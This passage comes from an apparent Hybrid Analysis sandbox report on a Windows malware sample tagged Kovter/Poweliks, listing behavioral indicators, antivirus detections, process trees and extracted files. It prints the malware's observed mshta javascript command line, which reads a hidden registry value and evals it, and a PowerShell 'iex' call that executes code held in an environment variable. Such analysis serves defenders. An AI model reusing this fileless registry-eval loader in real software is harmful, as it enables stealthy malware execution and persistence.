00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$58","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" opened \"\\Device\\KsecDD\"\n \"mshta.exe\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$59","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$5a","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"ModuleAnalysisCache\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache]- [targetUID: 00000000-00003404]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00003404]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"DeleteObject\" (Source: e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289, API is part of module: GDI32.DLL)\n Found string \"fopen\" (Source: e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289, API is part of module: UCRTBASE.DLL)\n Found string \"fseek\" (Source: e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289, API is part of module: UCRTBASE.DLL)\n Found string \"wcsftime\" (Source: e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289, API is part of module: UCRTBASE.DLL)\n Found string \"fwprintf\" (Source: e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289, API is part of module: MSVCRT.DLL)\n Found string \"GetEnvironmentVariableW\" (Source: e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289, API is part of module: KERNELBASE.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\" was detected as \"Borland Delphi 4.0\"\n \"DISMHOST.EXE.6DC1D0A6.bin\" was detected as \"Visual C++ 2005 Release -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\" has section name .data with entropy \"7.477341559092296\"\n \"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\" has section name .rdata with entropy \"7.955683879793299\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to find device information","description":"\"mshta.exe\" called \"SetupDiGetClassDevsW\" with parameters {\"ClassGuid\": \"8051a01c99a60a459a0cde4fbe3ddd89\"\n \"Flags\": \"18\"}","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-193","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleA@KERNEL32.dll at 19819-628-0040B460\n GetModuleHandleA@KERNEL32.dll at 19819-643-0040A300","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoA@KERNEL32.dll at 19819-771-00405CB3","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"16/24 Antivirus vendors marked sample as malicious (66% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"LoadResource@KERNEL32.dll at 19819-504-00407C8D\n SizeofResource@KERNEL32.dll at 19819-727-00401E51\n SizeofResource@KERNEL32.dll at 19819-900-00403CFC\n LoadResource@KERNEL32.dll at 19819-906-004043C0\n LoadResource@KERNEL32.dll at 19819-1050-00411B17\n SizeofResource@KERNEL32.dll at 19819-2635-00408F3F\n SizeofResource@KERNEL32.dll at 19819-2672-0040A208","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"DISMHOST.EXE.6DC1D0A6.bin\" has type \"PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"ROOT\\CIMV2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.00650000.00000004.mdmp, 00000000-00005644.00000003.86403.01CD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\ms4a3qxy.qek.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\pfdbc5vg.osb.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\ms4a3qxy.qek.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\pfdbc5vg.osb.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"suspicious","category":"System Security","name":"Contains ability to hook/unhook windows functions","description":"SetWindowsHookExA@USER32.dll at 19819-510-0040C851\n SetWindowsHookExA@USER32.dll at 19819-570-0040ACAE\n CallNextHookEx@USER32.dll at 19819-583-0040E780\n CallNextHookEx@USER32.dll at 19819-585-0040E5F0\n SetWindowsHookExA@USER32.dll at 19819-600-0040DAB0\n UnhookWindowsHookEx@USER32.dll at 19819-689-00407380\n UnhookWindowsHookEx@USER32.dll at 19819-726-0040EDDA\n SetWindowsHookExA@USER32.dll at 19819-771-00405CB3\n SetWindowsHookExA@USER32.dll at 19819-772-00408089\n UnhookWindowsHookEx@USER32.dll at 19819-986-0040DB2F\n SetWindowsHookExA@USER32.dll at 19819-2678-0040EF82","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1056.001","relevance":5,"id":"stream-107","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"suspicious","category":"System Security","name":"Contains ability to terminate a process","description":"ExitProcess@KERNEL32.dll at 19819-589-0040A3FE\n ExitProcess@KERNEL32.dll at 19819-770-00401F23\n ExitProcess@KERNEL32.dll at 19819-856-0040A7B0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1489","relevance":1,"id":"stream-88","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\" claimed CRC 453312 while the actual is CRC 415862","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegOpenKeyExW\n RegCloseKey\n RegCreateKeyExA\n RegDeleteKeyA\n RegEnumKeyExA\n RegDeleteValueA\n RegOpenKeyExA\n GetModuleHandleA\n OutputDebugStringA\n LoadLibraryA\n GetCommandLineA\n GetModuleFileNameA\n GetVersionExA\n LoadLibraryExA\n FindResourceA\n GetFileAttributesA\n CreateDirectoryA\n GetProcAddress\n GetStartupInfoA\n OutputDebugStringW\n GetModuleFileNameW\n GetTickCount\n ShellExecuteA\n GetCursorPos\n SetWindowsHookExA\n InternetGetConnectedState\n SetSecurityDescriptorDacl\n UnhandledExceptionFilter\n TerminateProcess\n LoadLibraryW\n MapViewOfFile\n GetModuleHandleExW\n GetVersionExW\n Sleep\n CreateFileW\n GetCommandLineW\n FindResourceExW\n LoadLibraryExW\n CreateThread\n GetFileAttributesW\n GetModuleHandleW\n GetSystemDirectoryW\n CreateFileMappingW","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Detected mshta.exe process execution","description":"Process \"mshta.exe\" with commandline \"javascript:lE1FxlM=\"QwNCtD\";XW11=new%20ActiveXObject(\"WScript.Shell\");Lled6no1l=\"nU5B83Ay\";hb1ph=XW11.RegRead(\"HKCU\\\\\\\\software\\\\\\\\mwADQWKI6\\\\\\\\S4OunQxU\");UzVbR4f=\"fWo0F\";eval(hb1ph);AFC7s6=\"ZXeCP\";\" (UID: 00000000-00005936)","origin":"Monitored Target","mitre_attack_id":"T1218.005","relevance":10,"id":"target-113","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"malicious","category":"Exploit/Shellcode","name":"Writes shellcode to a remote process","description":"Wrote 830 instructions to a remote process\n Wrote 4 instructions to a remote process\n Wrote 7 instructions to a remote process\n Wrote 8 instructions to a remote process\n Wrote 9 instructions to a remote process\n Wrote 11 instructions to a remote process","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1055","relevance":8,"id":"stream-38","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"16/24 Antivirus vendors marked sample as malicious (66% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"malicious","category":"General","name":"Powershell script shows a combination of malicious behavior","description":"Hidden commandline payload with suspicious keywords","origin":"Indicator Combinations","mitre_attack_id":"T1059.001","relevance":10,"id":"summary-18","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"malicious","category":"Installation/Persistence","name":"Found shellcode in interpreted commandline","description":"$5b","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":10,"id":"target-44","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Creates new processes"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries kernel debugger information"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Marks file for deletion"},{"detail":"Able to check if a debugger is running"},{"detail":"Contains ability to terminate a process"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"Detected mshta.exe process execution"}],"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]}],"intel_graph":{"map":{"File:70e5b704b0a38f760e838e630c47df2c8c9489b5a230654f6fa96884628de2d3":{"type":"File","value":"70e5b704b0a38f760e838e630c47df2c8c9489b5a230654f6fa96884628de2d3"},"File:98982e464985906e58496475f7e5e2f3216167eab1e18870917d6cf1ebe9415d":{"type":"File","value":"98982e464985906e58496475f7e5e2f3216167eab1e18870917d6cf1ebe9415d"},"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf":{"type":"File","value":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},"File:e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289":{"type":"File","value":"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289","verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["confirmed malicious file","confirmed relationship with a Threat Kovter"]}},"File:ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11":{"type":"File","value":"ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11"},"Threat:dda487e8fc4e4b2193bfbb53ac3d0ceb266e4cc40cafdf29a721c4caf08bd63e":{"type":"Threat","value":"Kovter","verdict":{"verdict":"malicious","verdict_source":"indicator database"}}},"chains":[{"id":"1549083330655000149","root":"File:e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289","edges":[],"verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["confirmed malicious file","confirmed relationship with a Threat Kovter"]}},{"id":"1549083330655000148","root":"File:e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289","edges":[{"edge_kind":"in_crowdstrike_knowledge_database","from_key":"File:e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289","to_key":"Threat:dda487e8fc4e4b2193bfbb53ac3d0ceb266e4cc40cafdf29a721c4caf08bd63e"}],"verdict":{"verdict":"malicious","verdict_source":"indicator database"}},{"id":"sandbox_files","root":"File:e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289","edges":[{"edge_kind":"extracted","from_key":"File:e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289","to_key":"File:ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11"},{"edge_kind":"extracted","from_key":"File:e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289","to_key":"File:98982e464985906e58496475f7e5e2f3216167eab1e18870917d6cf1ebe9415d"},{"edge_kind":"extracted","from_key":"File:e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289","to_key":"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},{"edge_kind":"extracted","from_key":"File:e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289","to_key":"File:70e5b704b0a38f760e838e630c47df2c8c9489b5a230654f6fa96884628de2d3"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":4,"imported_dlls_count":139,"dropped_files_count":0,"extracted_files_count":4,"files_written_count":6,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["criminal","kovter","clickfraud","wowlik"],"sample_flags":["Multi-Process","Extracted Files"],"sandbox_reports":[{"id":"6aa81643c9d77fea1904505d","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Poweliks","submit_name":"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289","analysis_start_time":"2026-09-14T15:44:05+00:00","indicators_count":{"informative":215,"suspicious":40,"malicious":7},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}],"processes":[{"pid":5644,"ppid":0,"name":"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe","command_line":"","sha256":"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289","normalized_path":"C:\\e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe","uid":"00000000-00005644","icon":"$5c"},{"pid":5936,"ppid":0,"name":"mshta.exe","command_line":"javascript:lE1FxlM=\"QwNCtD\";XW11=new%20ActiveXObject(\"WScript.Shell\");Lled6no1l=\"nU5B83Ay\";hb1ph=XW11.RegRead(\"HKCU\\\\software\\\\mwADQWKI6\\\\S4OunQxU\");UzVbR4f=\"fWo0F\";eval(hb1ph);AFC7s6=\"ZXeCP\";","sha256":"949485ba939953642714ae6831d7dcb261691cac7cbb8c1a9220333801f60820","normalized_path":"%WINDIR%\\system32\\mshta.exe","uid":"00000000-00005936","icon":"$5d"},{"pid":3404,"ppid":5936,"name":"powershell.exe","command_line":"iex $env:oczbexg","sha256":"70ba57fb0bf2f34b86426d21559f5f6d05c1268193904de8e959d7b06ce964ce","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005936","uid":"00000000-00003404"}],"all_imported_dlls":["api-ms-win-crt-filesystem-l1-1-0.dll","psapi.dll","pwrshsip.dll","advapi32.dll","sspicli.dll","api-ms-win-crt-stdio-l1-1-0.dll","System.Xml.ni.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","oleaut32.dll","api-ms-win-core-processthreads-l1-1-1.dll","api-ms-win-crt-heap-l1-1-0.dll","cryptbase.dll","scrrun.dll","d3d11.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","oleacc.dll","vm3dum_loader.dll","mscoree.dll","clr.dll","System.Transactions.ni.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","clbcatq.dll","comctl32.dll","wsock32.dll","vcruntime140.dll","winmm.dll","fastprox.dll","System.ni.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","api-ms-win-core-localization-l1-2-0.dll","cryptsp.dll","mpr.dll","wintrust.dll","msasn1.dll","vcruntime140_clr0400.dll","System.Management.Automation.dll","ole32.dll","VxSSL32.dll","System.Data.dll","gdi32.dll","rpcrt4.dll","wininet.dll","api-ms-win-crt-time-l1-1-0.dll","atl.dll","mscoreei.dll","fltLib.dll","rpcss.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","mscorrc.dll","api-ms-win-core-file-l2-1-0.dll","api-ms-win-crt-utility-l1-1-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","sxs.dll","nlssorting.dll","profapi.dll","setupapi.dll","Wldap32.dll","d3d10warp.dll","Microsoft.Management.Infrastructure.ni.dll","cfgmgr32.dll","jscript9.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","api-ms-win-downlevel-version-l1-1-0.dll","api-ms-win-crt-locale-l1-1-0.dll","wtsapi32.dll","rsaenh.dll","xmllite.dll","ntdll.dll","api-ms-win-core-synch-l1-2-0.dll","apphelp.dll","System.Core.ni.dll","System.Configuration.ni.dll","System.Numerics.ni.dll","sechost.dll","shlwapi.dll","d2d1.dll","kernel32.dll","wbemprox.dll","msls31.dll","System.Management.Automation.ni.dll","System.Management.ni.dll","lpk.dll","usp10.dll","api-ms-win-downlevel-user32-l1-1-0.dll","iertutil.dll","devobj.dll","RpcRtRemote.dll","uxtheme.dll","System.Data.ni.dll","dciman32.dll","msvcp140.dll","api-ms-win-crt-math-l1-1-0.dll","wbemcomn2.dll","msimtf.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","normaliz.dll","nsi.dll","api-ms-win-crt-convert-l1-1-0.dll","KernelBase.dll","version.dll","ws2_32.dll","user32.dll","shell32.dll","api-ms-win-core-timezone-l1-1-0.dll","bcrypt.dll","oleaccrc.dll","ntmarta.dll","System.DirectoryServices.ni.dll","ucrtbase.dll","api-ms-win-core-file-l1-2-0.dll","mshtml.dll","secur32.dll","System.Transactions.dll","ntdsapi.dll","ucrtbase_clr0400.dll","mscorlib.ni.dll","wshext.dll","userenv.dll","dwmapi.dll","msctf.dll","urlmon.dll","api-ms-win-core-xstate-l2-1-0.dll","imm32.dll","api-ms-win-crt-runtime-l1-1-0.dll","diasymreader.dll","msvcrt.dll","api-ms-win-crt-string-l1-1-0.dll","propsys.dll","DWrite.dll","clrjit.dll","System.Configuration.Install.ni.dll","ddraw.dll","api-ms-win-crt-environment-l1-1-0.dll","wbemsvc.dll","dxgi.dll","crypt32.dll","msisip.dll","Microsoft.PowerShell.Security.ni.dll","Microsoft.CSharp.ni.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"DISMHOST.EXE.6DC1D0A6.bin","sha256":"ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"name":"ModuleAnalysisCache","sha256":"98982e464985906e58496475f7e5e2f3216167eab1e18870917d6cf1ebe9415d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"name":"dism.log","sha256":"70e5b704b0a38f760e838e630c47df2c8c9489b5a230654f6fa96884628de2d3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]}],"files_written":[{"path":"%TEMP%\\ms4a3qxy.qek.ps1","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"path":"%TEMP%\\pfdbc5vg.osb.psm1","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]}]}},"report_ids":{"sandbox_job_ids":["6aa81643c9d77fea1904505d"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Poweliks.Generic Sample e93ea2c9e689… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample e93ea2c9e689…. Malware family: Poweliks.Generic. Threat score 100/100. 17/25 AV engines flagged this file. 9 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289"}],["$","meta","4",{"property":"og:title","content":"Malicious Poweliks.Generic Sample e93ea2c9e689… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample e93ea2c9e689…. Malware family: Poweliks.Generic. Threat score 100/100. 17/25 AV engines flagged this file. 9 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Poweliks.Generic Sample e93ea2c9e689… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample e93ea2c9e689…. Malware family: Poweliks.Generic. Threat score 100/100. 17/25 AV engines flagged this file. 9 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5e","11",{}]]